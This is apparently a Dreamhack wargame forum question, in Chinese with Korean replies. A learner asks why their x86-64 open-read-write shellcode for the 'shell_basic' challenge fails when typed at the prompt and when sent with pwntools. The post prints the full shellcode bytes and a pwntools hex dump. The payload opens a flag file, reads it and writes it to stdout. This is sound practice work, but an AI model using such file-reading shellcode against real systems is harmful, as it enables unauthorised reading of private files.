为什么没有成功?

我在本地编写了 orw.c,成功读取了我在本地存放的/home/shell_basic/flag_name_is_loooooong 本地的假flag。但是我通过使用多种方法发送payload都失败了。
方法一:直接发送

whoami@ubuntu ~/D/d/shell_basic> ./shell_basic
shellcode: \x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05
fish: “./shell_basic” terminated by signal SIGILL (Illegal instruction)
whoami@ubuntu ~/D/d/shell_basic>

方法二:使用pwntools发送(截取部分代码)

shellcode = b'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05'
io.recvuntil('shellcode: ')
io.send(shellcode)

结果: b'shellcode: '
[DEBUG] Sent 0x6b bytes:
00000000 6a 00 48 b8 6f 6f 6f 6f 6f 6f 6e 67 50 48 b8 61 │j·H·│oooo│oong│PH·a│
00000010 6d 65 5f 69 73 5f 6c 50 48 b8 63 2f 66 6c 61 67 │me_i│s_lP│H·c/│flag│
00000020 5f 6e 50 48 b8 65 6c 6c 5f 62 61 73 69 50 48 b8 │_nPH│·ell│_bas│iPH·│
00000030 2f 68 6f 6d 65 2f 73 68 50 48 89 e7 48 31 f6 48 │/hom│e/sh│PH··│H1·H│
00000040 31 d2 b8 02 00 00 00 0f 05 48 89 c7 48 89 e6 48 │1···│····│·H··│H··H│
00000050 83 ee 30 ba 30 00 00 00 b8 00 00 00 00 0f 05 bf │··0·│0···│····│····│
00000060 01 00 00 00 b8 01 00 00 00 0f 05 │····│····│···│
0000006b
[!] -------------------
[*] Stopped process './shell_basic' (pid 37182)
whoami@ubuntu:~/Documents/dreamhack/shell_basic$

请问,我应该怎么发送?

#pwnable
작성자 정보
답변 3
elli0t
대표 업적 없음

这是我的一些结果截图截屏2022-01-26 15.18.00.png
截屏2022-01-26 21.00.17.png

2022.01.26. 22:01
avatar
juno2
답변 등록: 25

strace -if ./shell_basic 출력 값이 뭔가요?

https://translate.google.com/
https://papago.naver.com/

2022.01.26. 22:07
elli0t
대표 업적 없음

截屏2022-01-26 21.11.17.png
这是我的结果@ juno2

2022.01.26. 22:12
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기